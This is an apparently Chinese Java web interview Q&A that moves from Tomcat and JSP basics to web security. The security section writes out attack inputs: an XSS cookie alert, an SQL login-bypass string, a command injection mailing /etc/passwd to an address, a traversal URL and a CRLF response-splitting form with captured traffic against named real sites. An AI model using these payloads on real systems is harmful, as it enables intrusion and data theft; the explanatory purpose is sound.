Tomcat將JSP編譯成Servlet后的文件存放在\work\Catalina目錄下,例如jsp文件\webapps\hh\h.jsp,編譯后路徑為: ?
\work\Catalina\localhost\hh\org\apache\jsp\h_jsp.java ?
?
Servlet文件和.class文件都在同一目錄下,文件名一般會被更改,改名規(guī)則為: index.jsp會改成index_jsp.class,以此類推。 ?
??
問題2、Session默認(rèn)過期時(shí)間如何修改? ?
??
程序中Session都有一個(gè)默認(rèn)的過期時(shí)間,其中Tomcat中的默認(rèn)時(shí)間為30分鐘,根據(jù)需要我們可以去手動設(shè)置Session的過期時(shí)間,以下是設(shè)置Session的過期時(shí)間的三個(gè)方法: ?
??
1、在Tomcatconfconf/web.xm中的<session-config>中設(shè)置: ?
? ? <session-config> ?
? ? ? ? <session-timeout>30</session-timeout> ?
? ? </session-config> ?
2、在項(xiàng)目的web.xml中定義: ?
? ? <session-config> ?
? ? ? ? <session-timeout>20</session-timeout> ?
? ? </session-config> ?
注:20則設(shè)置過期時(shí)間為20分鐘 ?
3.在程序中定義: ?
session.setMaxInactiveInterval(30*60); ?
??
問題3、請講述有四種會話跟蹤技術(shù)? ?
??
隱藏表單域、URL重寫、Cookie、Session ?
??
隱藏表單域: ?
將會話ID添加到HTML表單元素中提交到服務(wù)器,此表單元素并不在客戶端顯示<input hidden> ?
URL 重寫: ?
URL(統(tǒng)一資源定位符)是Web上特定頁面的地址,URL重寫的技術(shù)就是在URL結(jié)尾添加一個(gè)附加數(shù)據(jù)以標(biāo)識該會話,把會話ID通過URL的信息傳遞過去,以便在服務(wù)器端進(jìn)行識別不同的用戶 ?
Cookie: ?
Cookie是Web服務(wù)器發(fā)送給客戶端的一小段信息,客戶端請求時(shí)可以讀取該信息發(fā)送到服務(wù)器端,進(jìn)而進(jìn)行用戶的識別。對于客戶端的每次請求,服務(wù)器都會將Cookie發(fā)送到客戶端,在客戶端可以進(jìn)行保存,以便下次使用 ?
客戶端可以采用兩種方式來保存這個(gè)Cookie對象,一種方式是 保存在客戶端內(nèi)存中,稱為臨時(shí)Cookie,瀏覽器關(guān)閉后 這個(gè)Cookie對象將消失。另外一種方式是保存在客戶機(jī)的磁盤上,稱為永久Cookie。以后客戶端只要訪問該網(wǎng)站,就會將這個(gè)Cookie再次發(fā)送到服務(wù)器上,前提是這個(gè)Cookie在有效期內(nèi)。這樣就實(shí)現(xiàn)了對客戶的跟蹤 ?
Cookie是可以被禁止的 ?
Session: ?
使用setAttribute(String str,Object obj)方法將對象捆綁到一個(gè)會話(在會話中可以保存任意類型的對象,但因?yàn)闀捒赡鼙恍蛄谢?#xff0c;最好讓會話對象實(shí)現(xiàn) java.io.Serializable接口 ?
使用getArrtibute(String str)方法從一個(gè)會話中檢索對象 ?
使用removeAttribute(String str)方法從一個(gè)會話中銷毀對象 ?
使用setMaxInactiveInteral()方法設(shè)置會話的有效期,默認(rèn)為30分鐘(在web.xml中配置) ?
使用invalidate()方法將會話所有捆綁的對象解縛。 ?
??
問題4、如果不用Spring如何實(shí)現(xiàn)AOP和IOC功能? ?
??
說到底,IOC就是反射,實(shí)例化指定類;AOP就是攔截,一系列的過濾器 ?
IOC:工廠模式通過讀取配置文件創(chuàng)建實(shí)例結(jié)合反射使用,在配置文件里面配置要實(shí)例化的對象的全路徑 ?
??
AOP:意為面向切面的編程,可以為某一類對象進(jìn)行監(jiān)督和控制,也就是調(diào)用你這個(gè)對象的方法前或者方法后,去調(diào)用你指定的模塊從而達(dá)到一個(gè)對模塊擴(kuò)充的功能,一般用來做權(quán)限控制和日志記錄等等,不用AOP的話,Struts2的攔截器也可以實(shí)現(xiàn),不用Struts2,也可以直接用過濾器 ?
??
補(bǔ)充: ?
AOP(Aspect-Oriented Programming,面向切面的編程),它是可以通過預(yù)編譯方式和運(yùn)行期動態(tài)代理實(shí)現(xiàn)在不修改源代碼的情況下給程序動態(tài)統(tǒng)一添加功能的一種技術(shù)。它是一種新的方法論,它是對傳統(tǒng)OOP編程的一種補(bǔ)充。 ?
??
IoC,(Inverse of Control)控制反轉(zhuǎn),其包含兩個(gè)內(nèi)容:其一是控制,其二是反轉(zhuǎn)。在程序中,被調(diào)用類的選擇控制權(quán)從調(diào)用它的類中移除,轉(zhuǎn)交給第三方裁決,它是一種設(shè)計(jì)模式,通過Java反射技術(shù)實(shí)現(xiàn)。 ?
??
??
問題5、寫出你所知道JSP內(nèi)置對象的方法? ?
??
Request對象: ?
客戶端的請求信息被封裝在Request對象中,通過它才能了解到客戶的需求,然后做出響應(yīng)。它是HttpServletRequest類的實(shí)例 ?
??
getSession 獲取當(dāng)前的會話 ?
setAttribute(String key,Object obj) 將一個(gè)對象綁定到request中指定的name屬性 ?
getAttribute(String name) 該方法返回由name指定的屬性值,如果指定的屬性值不存在,則返回null ?
getParameter(String name) ??
該方法用于獲得客戶端傳送給服務(wù)器端的參數(shù),該參數(shù)有name指定,通常是表單中的參數(shù) ?
setCharacterEncoding(String type)重載正文中使用的字符編碼 ?
注:在用request.getParameter()獲取中文數(shù)據(jù)前,要先用request.setCharacterEncoding("utf-8");設(shè)定字符編碼,如果不設(shè)定則有可能出現(xiàn)亂碼! ?
??
Response對象 ??
Response對象包含了響應(yīng)客戶請求的有關(guān)信息,但在JSP中很少直接用到它。它是HttpServletResponse類的實(shí)例 ?
??
addCookie(Cookie cook) 添加一個(gè)Cookie對象,用來保存客戶端的用戶信息 ?
sendRedirect(java.lang.String location) 重新定向客戶端的請求 ?
addHeader(String name,String value) 添加Http響應(yīng)頭信息 ?
該Header信息將傳達(dá)到客戶端,如果已經(jīng)存在同名的則會覆蓋 ?
setHeader(String name,String value) 設(shè)置指定名字的Http響應(yīng)頭的值,若存在則會覆蓋 ?
??
Session對象 ??
Session對象指的是客戶端與服務(wù)器的一次會話,從客戶連到服務(wù)器的一個(gè)WebApplication開始,直到客戶端與服務(wù)器斷開連接為止。它是HttpSession類的實(shí)例 ?
??
String getId() 返回Session創(chuàng)建時(shí)JSP引擎為它設(shè)的唯一ID號 ?
invalidate() 取消Session,使Session不可用,銷毀Session ?
setMaxInactiveInterval() 設(shè)置Session的失效時(shí)間,單位是ms毫秒,1秒=1000毫秒 ?
getAttribute(String name) 返回與指定名稱相聯(lián)系的屬性 ?
setAttribute(String name, Object ob) 將一個(gè)對象綁定到會話中指定的name屬性 ?
removeAttribute(String name) 刪除綁定到對話中指定名稱的對象 ?
??
Out對象 ?
Out對象是JspWriter類的實(shí)例,是向客戶端輸出內(nèi)容常用的對象 ?
??
這個(gè)對象最常用的方法只有兩個(gè):out.print("...") out.println("...") ?
用途都是向客戶端發(fā)送信息,即,在瀏覽器中顯示信息。很多時(shí)候動態(tài)生成網(wǎng)頁都由該語句實(shí)現(xiàn),如: ?
out.println("<table><tr><td>動態(tài)生成</td></tr></table>"); ?
??
clear() 清除緩沖區(qū)里的數(shù)據(jù),但不會把數(shù)據(jù)輸出到客戶端 ?
clearBuffer() 清除緩沖區(qū)里的數(shù)據(jù),并把數(shù)據(jù)輸出到客戶端 ?
close() 關(guān)閉輸出流 ?
flush() 輸出緩沖區(qū)里的數(shù)據(jù) ?
newLine() 換行,相當(dāng)于\n ?
??
Page對象 ?
Page對象就是指向當(dāng)前JSP頁面本身,有點(diǎn)象類中的this指針,它是java.lang.Object類的實(shí)例 ?
??
getClass 返回此Object的類 ??
hashCode() 返回此Object的hash碼 ??
equals(Object obj) 判斷此Object是否與指定的Object對象相等 ??
copy(Object obj) 把此Object拷貝到指定的Object對象中 ??
clone() 克隆此Object對象 ??
toString() 把此Object對象轉(zhuǎn)換成String類的對象 ??
notify() 喚醒一個(gè)等待的線程 ??
notifyAll() 喚醒所有等待的線程 ??
wait(int timeout) 使一個(gè)線程處于等待直到timeout結(jié)束或被喚醒 ??
wait() 使一個(gè)線程處于等待直到被喚醒 ??
enterMonitor() 對Object加鎖 ??
exitMonitor() 對Object開鎖 ??
??
Application對象 ??
Application對象實(shí)現(xiàn)了用戶間數(shù)據(jù)的共享,可存放全局變量。它開始于服務(wù)器的啟動,直到服務(wù)器的關(guān)閉,在此期間,此對象將一直存在;這樣在用戶的前后連接或不同用戶之間的連接中,可以對此對象的同一屬性進(jìn)行操作;在任何地方對此對象屬性的操作,都將影響到其他用戶對此的訪問。服務(wù)器的啟動和關(guān)閉決定了Application對象的生命。它是ServletContext類的實(shí)例 ?
??
getAttribute(String name) 返回給定名的屬性值 ?
setAttribute(String name,Object obj) 設(shè)定屬性的屬性值 ?
removeAttribute(String name) 刪除一屬性及其屬性值 ?
getResource(String path) 返回指定資源(文件及目錄)的URL路徑 ?
getResourceAsStream(String path) 返回指定資源的輸入流 ?
getRequestDispatcher(String uripath) 返回指定資源的RequestDispatcher對象 ?
??
Exception對象 ?
Exception對象是一個(gè)例外對象,當(dāng)一個(gè)頁面在運(yùn)行過程中發(fā)生了例外,就產(chǎn)生這個(gè)對象。如果一個(gè)JSP頁面要應(yīng)用此對象,就必須把isErrorPage設(shè)為true,否則無法編譯。他實(shí)際上是java.lang.Throwable的對象 ??
??
getMessage() 返回描述異常的消息 ?
toString() 返回關(guān)于異常的簡短描述消息 ?
printStackTrace() 顯示異常及其棧軌跡 ?
??
PageContext對象 ??
PageContext對象提供了對JSP頁面內(nèi)所有的對象及名字空間的訪問,也就是說他可以訪問到本頁所在的SESSION,也可以取本頁面所在的Application的某一屬性值,他相當(dāng)于頁面中所有功能的集大成者,它的本類名也叫PageContext ?
??
getOut() 返回當(dāng)前客戶端響應(yīng)被使用的JspWriter流(out) ??
getSession() 返回當(dāng)前頁中的HttpSession對象(session) ??
getPage() 返回當(dāng)前頁的Object對象(page) ??
getRequest() 返回當(dāng)前頁的ServletRequest對象(request) ??
getResponse() 返回當(dāng)前頁的ServletResponse對象(response) ??
getException() 返回當(dāng)前頁的Exception對象(exception) ??
getServletConfig() 返回當(dāng)前頁的ServletConfig對象(config) ??
getServletContext() 返回當(dāng)前頁的ServletContext對象(application) ??
??
setAttribute(String name,Object attribute) 設(shè)置屬性及屬性值 ??
setAttribute(String name,Object obj,int scope) 在指定范圍內(nèi)設(shè)置屬性及屬性值 ??
Object getAttribute(String name) 取屬性的值 ??
getAttribute(String name,int scope) 在指定范圍內(nèi)取屬性的值 ??
Object findAttribute(String name) 尋找一屬性,返回起屬性值或NULL ??
removeAttribute(String name) 刪除某屬性 ??
removeAttribute(String name,int scope) 在指定范圍刪除某屬性 ??
??
forward(String relativeUrlPath) 轉(zhuǎn)發(fā) ??
include(String relativeUrlPath) 在當(dāng)前位置包含另一文件 ??
??
Config對象 ?
Config對象是在一個(gè)Servlet初始化時(shí),JSP引擎向它傳遞信息用的,此信息包括Servlet初始化時(shí)所要用到的參數(shù)(通過屬性名和屬性值構(gòu)成)以及服務(wù)器的有關(guān)信息(通過傳遞一個(gè)ServletContext對象) ?
??
getServletContext() 返回含有服務(wù)器相關(guān)信息的ServletContext對象 ??
getInitParameter(String name) 返回初始化參數(shù)的值 ??
getInitParameterNames() 返回Servlet初始化所需所有參數(shù)的枚舉 ?
??
問題6、Java啟動參數(shù)Xms和Xmx的含義? ?
??
參數(shù)名 含義 ? ? ? ? ? ? ?默認(rèn)值 ?
Xms ? ? 初始堆大小 ? ? ? ? ? 物理內(nèi)存的1/64(<1GB) ?
Xmx ? ? 最大堆大小 ? ? ? ? ? 物理內(nèi)存的1/4(<1GB) ?
Xmn ? ? 年輕代大小 ? ? ? ? ? ??
Xss ? ? 每個(gè)線程的堆棧大小 ?
??
問題7、對于Web應(yīng)用安全的理解?以下是大分類,采用問題7-1、問題7-2開頭,以此類推,為系列問題。 ?
問題7-1、 ?跨站腳本攻擊(CSS or XSS, Cross Site Scripting)——注入 ?
??
相信絕大多數(shù)人對跨站腳本弱點(diǎn)已經(jīng)早有耳聞。2006年全球網(wǎng)絡(luò)安全弱點(diǎn)Top10排名當(dāng)中,它榮登榜首!為什么它有如此之大的影響力呢?個(gè)人覺得原因有三: ?
1、攻擊難度小,不管是技術(shù)還是實(shí)現(xiàn)攻擊的成本上都比較容易 ?
2、它存在的載體(瀏覽器)使用極其廣泛 ?
3、它所依賴的技術(shù)被廣泛的應(yīng)用與支持(JavaScript,VB Script, HTML,ActiveX, Flash) ?
??
說了這么多,它到底是什么呢? ?
??
XSS是一種存在Web應(yīng)用中,允許黑客以最終用戶的身份向Web應(yīng)用注入惡意腳本,以愚弄其他用戶或獲取其他用戶重要數(shù)據(jù)和隱私信息為目的的一種攻擊形式。 ?
??
XSS可使用的技術(shù)有JavaScript、VBScript、 ActiveX、 或 Flash, 且通常通過頁面表單提交注入到web應(yīng)用中并最終在用戶的瀏覽器客戶端執(zhí)行。例如,一個(gè)沒有經(jīng)過安全設(shè)計(jì)并實(shí)現(xiàn)的論壇,當(dāng)你在跟貼時(shí)在正文輸入這樣的代碼: ?
< script>alert(document.cookie);</script> ?
??
當(dāng)其它用戶瀏覽時(shí)便會彈出一個(gè)警告框,內(nèi)容顯示的是瀏覽者當(dāng)前的cookie串。 ?
??
試想如果我們注入的不是以上這個(gè)簡單的測試代碼,而是一段經(jīng)常精心設(shè)計(jì)的惡意腳本,當(dāng)用戶瀏覽此帖時(shí),cookie信息就可能成功的被攻擊者獲取。此時(shí)瀏覽者的帳號就很容易被攻擊者掌控了。 ?
??
不管是上述的哪一種技術(shù)實(shí)現(xiàn)的XSS攻擊,最終都離不開這三點(diǎn): ?
1、是瀏覽器的解析 ? 2、是腳本語法 3、是腳本需要一定的長度 ?
??
對于瀏覽器的解析是不在話下了,我不能因?yàn)檫@各類型問題的存在就改寫瀏覽器使其不支持腳本解析。 ?
??
所以,能做就是控制腳本注入的語法要素。比如:JavaScript離不開:< 、 > 、 ( 、 ) 、;...等等,所以我們只需要在輸入或輸出時(shí)對其進(jìn)行字符過濾或轉(zhuǎn)義處理就可以了。一般我們會采用轉(zhuǎn)義的方式來處理,轉(zhuǎn)義字符是會使用到HTML的原始碼,因?yàn)樵即a是可以被瀏覽器直接識別的,所以使用起來非常方便。 ?
??
允許可輸入的字符串長度限制也可以一定程度上控制腳本注入。比如:頁面表單中姓名,我可以只允許你輸入5個(gè)字符,請問你還有辦法進(jìn)行JavaScript的腳本注入嗎?顯然不行了。 ?
??
還需要您注意的是:我這里所述的過濾、檢測、限制等等策略,一定一定要在Web Server服務(wù)器那一端去完成,而不是使用客戶端的JavaScript或者VBScript...去做簡單的檢查。因?yàn)檎嬲墓粽卟粫H僅依賴于瀏覽器去做攻擊,而更多的往往是借助于第三方工具,根本就可以繞過你精心設(shè)計(jì)制作的客戶端JavaScript進(jìn)行過濾、檢測或限制手段的。 ?
??
問題7-2、SQL注入攻擊(SQL injection)——注入 ?
??
早在十幾年前,基于數(shù)據(jù)庫的Web應(yīng)用剛剛盛行的時(shí)候,幾乎所有的開發(fā)商都忽略了SQL注入弱點(diǎn),導(dǎo)致當(dāng)時(shí)絕大多數(shù)的網(wǎng)站的登錄入口形同虛設(shè)!為什么呢?先給一個(gè)小小的例子,假如以下SQL代碼是用來在網(wǎng)站登錄入口入執(zhí)行用戶驗(yàn)證時(shí)的查詢代碼: ?
?
SELECT count(*) ?
FROM users_list_table ?
WHERE username='USERNAME' ?
AND password='PASSWORD' ?
??
以上的USERNAME就是我們登錄時(shí)提供的用戶名,PASSWORD就是我們登錄時(shí)提供的密碼。當(dāng)用戶輸入正確的用戶名和密碼時(shí),這條語句的執(zhí)行結(jié)果將為真(True),否則為假(False),當(dāng)然為真時(shí)我們就認(rèn)為認(rèn)證通過,為假時(shí)就認(rèn)為認(rèn)證失敗,即非法登錄。試想一下,如果我在輸入用戶名和密碼的時(shí)候輸入如下的內(nèi)容: ?
?
用戶名:a' or 'a'='a ?
密碼:a' or 'a'='a ?
??
用代入法把用戶名和密碼輸入值代入到上述的SQL腳本里結(jié)果如下: ?
??
SELECT count(*) ?
FROM users ?
WHERE username='a' or 'a'='a' ?
AND password='a' or 'a'='a' ?
??
相信稍懂一點(diǎn)兒SQL語句的人都知道,這條語句的執(zhí)行結(jié)果就永遠(yuǎn)是真了!此時(shí)你不需要有帳號,就直接登錄成功了!你對此漏洞理解的深度同樣取決于你的對SQL語句的技能和Web安全知識能力。一個(gè)具有良好技能的攻擊者可能利用此漏洞獲取后臺DB的結(jié)構(gòu)并逐步獲取DB的信息。 ?
??
總結(jié)一下:SQL注入弱點(diǎn)是存在基于數(shù)據(jù)庫的Web應(yīng)用中,黑客利用精心組織的SQL語句,通過Web接口(通常指我們的Web頁面的表單)注入的Web應(yīng)用中,從而獲取后臺DB的訪問與存取權(quán)的一種安全弱點(diǎn)。 ?
??
簡要的解決方案: ?
剛剛介紹了XSS,在這里關(guān)于SQLInjection我想就無需多說了,都是過濾、合法性檢查和長度限制等通用方法。 ?
有沒有注意到,XSS和SQL Injection,雖然名字不一樣,但它們似乎都屬于我前一篇文章《解讀Web安全性問題的本質(zhì)》中的第一部分,即輸入/輸出驗(yàn)證。下面將要介紹的遠(yuǎn)程命令執(zhí)行、目錄遍歷和文件包含同樣也是輸入/輸出驗(yàn)證問題。 ?
??
問題7-3、遠(yuǎn)程命令執(zhí)行(Code execution,個(gè)人覺得譯成代碼執(zhí)行并不確切) ?
??
先不解釋它的概念,我們先假設(shè)這樣一個(gè)用戶使用場景: ?
??
有一個(gè)站點(diǎn)的管理入口功能非常強(qiáng)大,大到什么程度呢?可以重啟Web服務(wù)器。 ?
??
你能想出來它是如何實(shí)現(xiàn)的嗎?我們知道不管是PHP還是JSP,我們都可以在服務(wù)器通過Shell調(diào)用系統(tǒng)(Linux or Windows)命令,等命令執(zhí)行后,將執(zhí)行結(jié)果返回給客戶端。其實(shí)我們通過Web Page的管理入口管理服務(wù)器端的各種服務(wù)就是通過類似這種渠道完成的。 ?
??
這里會有什么問題?比如我們要重啟apache,假如系統(tǒng)是通過這個(gè)命令來完成的: ?
??
/$path/./apche -restart ?
??
這里的$path是Web應(yīng)用程序的基準(zhǔn)路徑(比如:apache上的documentroot),它的實(shí)現(xiàn)方式是這樣的:通過用戶瀏覽器客戶端傳送一個(gè)命令串給Web Server,Web Server通過調(diào)用shell來執(zhí)行傳過來的命令。 ?
??
試想,如果我通過瀏覽器客戶端強(qiáng)行傳送一個(gè):restart, shutdown之類的命令給Server,結(jié)果會是什么樣子? ?
??
這只是起一個(gè)小小的破壞作用,那如果我傳送一個(gè):mail abc@abc.abc </etc/passwd,執(zhí)行結(jié)果是什么? ?
??
結(jié)果是將linux系統(tǒng)的passwd文件(linux系統(tǒng)用戶信息)發(fā)送到指定的郵箱abc@abc.abc。是不是很可怕呢? ?
??
這就是遠(yuǎn)程命令執(zhí)行漏洞的一個(gè)小小的典型例子。 ?
??
至于它的更深遠(yuǎn)的安全隱患在哪里還需要你有更多的相關(guān)基礎(chǔ)知識才能夠得以深入理解和運(yùn)用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相關(guān)的使用技能)。 ?
??
總結(jié)一下:遠(yuǎn)程命令執(zhí)行漏洞一般發(fā)生在Web系統(tǒng)允許用戶通過Web應(yīng)用接口訪問與管理Web服務(wù)器且沒有經(jīng)過嚴(yán)格的輸入驗(yàn)證與過濾的情況下的一種Web應(yīng)用安全漏洞。 ?
??
簡要的解決方案: ?
嚴(yán)格限制運(yùn)行Web服務(wù)的用戶權(quán)限。 ?
??
就是說你的Web應(yīng)用可以訪問你的服務(wù)器系統(tǒng)的用戶權(quán)限。一般情況一下,我們應(yīng)該以白名單的形式介定Web應(yīng)用可以訪問服務(wù)器系統(tǒng)的權(quán)限。這樣控制可以從系統(tǒng)級達(dá)到安全防范的效果。 ?
??
嚴(yán)格執(zhí)行用戶輸入的合法性檢查。 ?
??
這里的輸入不一定是你通過表單從鍵盤輸入,往往是Web應(yīng)用已經(jīng)內(nèi)定了某一些操作供您選擇,而此時(shí)你可以通過Http抓包的方式獲取Http請求信息包經(jīng)改裝后重新發(fā)送。 ?
??
問題7-4、目錄遍歷(Directory traversal) ?
??
部分朋友應(yīng)該知道之前我在我的blog里公布了ah163.net上的一個(gè)安全漏洞,安全級別高:極度危險(xiǎn),由于我沒有公布細(xì)節(jié),大家都比較好奇想知道是什么。出于對同行的尊重我就刪除了漏洞公布這一欄的內(nèi)容了。我已經(jīng)通知ah163.net的同行了,他們已經(jīng)fix那個(gè)問題。 ?
??
今天我們就講講這個(gè)漏洞,love.ah163.net上有網(wǎng)絡(luò)硬盤服務(wù),當(dāng)注冊用戶登錄并開通網(wǎng)絡(luò)硬盤服務(wù)后,即可進(jìn)入自己的硬盤管理界面,我們來看看它是如何進(jìn)入某一個(gè)目錄的,以下是進(jìn)入某一目錄的URL: http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder ?
??
那現(xiàn)在我把這個(gè)URL改裝一下: ?
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/ ?
??
在瀏覽器里運(yùn)行它,會是什么結(jié)果呢?結(jié)果是:/usr/local/apache/conf/里的所有文件都老老實(shí)實(shí)的列出來了,通過這種方式,你可以發(fā)揮你的想象了,服務(wù)器上的東東是不是都差不多可以列出來了?告訴你,還可以隨便下載呢!網(wǎng)絡(luò)硬盤嘛,就是用來上傳下載的,所以它提供的功能很完備,破壞性也就很強(qiáng)了。至于它的危害有多大,你自己想去吧,我就不危言聳聽了。 ?
??
簡要的解決方案: ?
1、同樣是限制Web應(yīng)用在服務(wù)器上的運(yùn)行 ??
??
2、進(jìn)行嚴(yán)格的輸入驗(yàn)證,控制用戶輸入非法路徑 ?
??
問題7-5、http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting) ?
??
CRLF:Carriage-Return Line-Feed 回車換行 ?
HTTP response splitting:HTTP 響應(yīng)頭分割 ?
??
為了講清楚這個(gè)問題,首先我們來看一個(gè)校內(nèi)網(wǎng)的XSS。 ?
??
漏洞出在 http://login.xiaonei.com ?
??
正常情況下,用戶名處是已經(jīng)htmlencode過了的 ?
(實(shí)際上 a<script>這里是 htmlencode過的) ?
??
接下來隨便在什么站上構(gòu)造如下form: ?
??
??
< form id="x" action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script>" method="post"> ? ?<!-- input name="email" value="" / --> ? ?<input name="password" value="testtest" /> ? ?<input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" /> ? ?<input name="formName" value="" /> ? ?<input name="method" value="" /> ? ?<input type="submit" value="%E7%99%BB%E5%BD%95" /></form> ?
??
提交該表單 ?
??
將造成一個(gè)XSS ?
??
??
抓包看到數(shù)據(jù)是這樣構(gòu)成的 ?
POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1 ?
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*Referer: http://www.a.com/test.htmlAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)Proxy-Connection: Keep-AliveContent-Length: 103Host: login.xiaonei.comPragma: no-cacheCookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org; __utma=204579609.2036071383.1229329685.1229336555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_541890716; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a; BIGipServerpool_profile=2462586378.20480.0000password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a&formName=&method=HTTP/1.1 200 OKServer: Resin/3.0.21Vary: Accept-EncodingCache-Control: no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: _de=a<script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17 GMTSet-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTContent-Type: text/html;charset=UTF-8Connection: closeTransfer-Encoding: chunkedDate: Mon, 15 Dec 2008 13:35:17 GMT217b<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>...... ?
??
可以看到,實(shí)際上就是分割了http response 包的包頭, %0d%0a 是換行,從而插入了我們自己的數(shù)據(jù)。 ?
??
HTTP Response Splitting 是 CRLF Injection的一種.Carriage Return (CR, ASCII 13, ) Line Feed (LF, ASCII 10, ) ?
這兩個(gè)字符經(jīng)常被用來作為換行。在很多文本、語言里,都能這么用,所以CRLF是一種廣義的攻擊,用在HTTP響應(yīng)里,就是 HTTP Response Splitting ?
這已經(jīng)是非常古老的技術(shù)了,現(xiàn)在拿出來說,是因?yàn)榍皟商炜磒aper,發(fā)現(xiàn)提到IE8 的 XSS Filter沒有,也不會(微軟已確認(rèn))增加 CRLF + XSS 的防范。所以在這里只能依靠我們自己來對抗這種攻擊。需要指出的是,如果直接用我上面那個(gè)form,可能會測試失敗,這是因?yàn)樾?nèi)是有壓縮過HTTP包的客戶端瀏覽器(我的是IE7),提交包頭里有:Accept-Encoding: gzip, deflate所以服務(wù)器知道客戶端接受壓縮包,所以選擇了壓縮響應(yīng)包Content-Encoding: gzip這里是采用gzip壓縮格式,如果壓縮后,直接插入明文的html代碼,會報(bào)錯。在實(shí)施HTTP Response Splitting的時(shí)候,一般通過如下3個(gè)條件可以達(dá)成這種攻擊(當(dāng)然要沒過濾%0d%0a):1. Set-Cookie 中的內(nèi)容用戶可以控制2. 302跳轉(zhuǎn)的 Location 地址用戶可以控制3. 其他自定義Header 用戶可以控制上面舉的校內(nèi)網(wǎng)的例子就是第一種,在 Set-Cookie 中有個(gè)字段可以控制,而又沒過濾CR、LF實(shí)際上這里問題還不止如此,提交的參數(shù)中有一個(gè) <input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />此處將造成一個(gè) 302 跳轉(zhuǎn),滿足我們的第二個(gè)條件,這里也是可以控制的。第三個(gè)條件,自定義的header,這個(gè)不多見,但我也在大站里找到過案例,出于其他因素考慮,不在這里舉例了。 ?
GZIP的壓縮數(shù)據(jù)很討厭,導(dǎo)致我們必須要自己去壓縮數(shù)據(jù),然后想辦法提交上去,大大增加了攻擊的門檻。但是如果CRLF的時(shí)候處在 Content-Encoding: gzip 之前,則可以提交明文數(shù)據(jù),反之,則不能直接提交明文數(shù)據(jù)。比較萬能的跨站是直接在HTTP頭里插入新標(biāo)準(zhǔn)里的 Link 標(biāo)簽Link: <http://www.a.com/xss.css>; REL:stylesheet可以直接造成XSS ?
不光是XSS,HTTP Response Splitting 的嚴(yán)重性要高于XSS,因?yàn)槟苄薷腍TTP返回包頭,所以很可能造成跨域問題。設(shè)想我們插入一個(gè)P3P頭,然后再在一個(gè)別的域引用此處,則會造成隱私數(shù)據(jù)的跨域.此類問題非常之多,很多大站都有,不再舉例了。漏洞組合起來,威力絕對不止1+1=2這么簡單了。要防范很簡單,過濾或者替換 %0d%0a,對我上面列出的3個(gè)條件,檢查所有輸出。 ?
??
問題8、Web應(yīng)用程序安全性問題的本質(zhì)是什么,請說說你的理解? ?
??
相信大家都或多或少的聽過關(guān)于各種Web應(yīng)用安全漏洞,諸如:跨site腳本攻擊(XSS),SQL注入,上傳漏洞...形形色色. ?
在這里我并不否認(rèn)各種命名與歸類方式,也不評價(jià)其命名的合理性與否,我想告訴大家的是,形形色色的安全漏洞中,其實(shí)所蘊(yùn)含安全問題本質(zhì)往往只有幾個(gè)。 我個(gè)人把Web應(yīng)用程序安全性本質(zhì)問題歸結(jié)以下三個(gè)部分: ?
1、輸入/輸出驗(yàn)證(Input/output validation) ?
2、角色驗(yàn)證或認(rèn)證(Role authentication ) ?
3、所有權(quán)驗(yàn)證(Ownership authentication) ?
?
說到這,讀者一定想知道我這三種分類與形形色色的安全性問題有什么關(guān)系?下面我逐個(gè)給您概略解答: ?
??
輸入/輸出驗(yàn)證 ?
這里的輸入與輸出其實(shí)都是發(fā)生在用戶界面(User Interface)這一個(gè)層面上的,比如:你某一站點(diǎn)上提交一份注冊信息,往往會收到諸多提示:“用戶名非法”,“姓名不能使用英文“......其實(shí)這就是輸入驗(yàn)證的一個(gè)實(shí)例。 ?
?
什么情況是輸出呢?比如說你成功提交一份注冊信息后,系統(tǒng)會返回一個(gè)確認(rèn)頁(Registerred Confirmation),往往在這個(gè)頁面上會顯示你注冊時(shí)提交的部分或全部信息,那么在這里顯示的信息就是我所說的輸出實(shí)例之一。 ?
?
輸入需要做什么驗(yàn)證? ?
